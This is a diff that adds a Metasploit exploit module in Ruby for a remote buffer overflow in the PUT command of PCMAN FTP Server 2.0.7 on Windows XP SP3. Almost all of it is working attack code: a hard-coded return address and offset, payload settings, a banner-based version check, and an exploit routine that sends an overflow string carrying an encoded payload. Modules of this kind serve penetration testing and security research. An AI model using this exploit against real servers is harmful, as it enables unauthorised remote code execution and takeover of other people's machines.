|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Ftp |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a buffer overflow vulnerability found in the PUT command of the |
| 18 | + PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous |
| 19 | + credientials are enabled. |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Jay Turla', # Initial Discovery -- @shipcod3 |
| 24 | + 'Chris Higgins' # msf Module -- @ch1gg1ns |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + [ 'EDB', '37731'], |
| 30 | + [ 'OSVDB', '94624'] |
| 31 | + ], |
| 32 | + 'DefaultOptions' => |
| 33 | + { |
| 34 | + 'EXITFUNC' => 'process' |
| 35 | + }, |
| 36 | + 'Payload' => |
| 37 | + { |
| 38 | + 'Space' => 1000, |
| 39 | + 'BadChars' => "\x00\x0A\x0D", |
| 40 | + }, |
| 41 | + 'Platform' => 'win', |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + [ 'Windows XP SP3 English', |
| 45 | + { |
| 46 | + 'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll |
| 47 | + 'Offset' => 2007 |
| 48 | + } |
| 49 | + ], |
| 50 | + ], |
| 51 | + 'DisclosureDate' => 'Aug 07 2015', |
| 52 | + 'DefaultTarget' => 0)) |
| 53 | + end |
| 54 | + |
| 55 | + def check |
| 56 | + connect_login |
| 57 | + disconnect |
| 58 | + |
| 59 | + if /220 PCMan's FTP Server 2\.0/ === banner |
| 60 | + Exploit::CheckCode::Appears |
| 61 | + else |
| 62 | + Exploit::CheckCode::Safe |
| 63 | + end |
| 64 | + end |
| 65 | + |
| 66 | + |
| 67 | + def exploit |
| 68 | + connect_login |
| 69 | + |
| 70 | + print_status('Generating payload...') |
| 71 | + sploit = rand_text_alpha(target['Offset']) |
| 72 | + sploit << [target.ret].pack('V') |
| 73 | + sploit << make_nops(16) |
| 74 | + sploit << payload.encoded |
| 75 | + |
| 76 | + send_cmd( ["PUT", sploit], false ) |
| 77 | + disconnect |
| 78 | + end |
| 79 | + |
| 80 | +end |
0 commit comments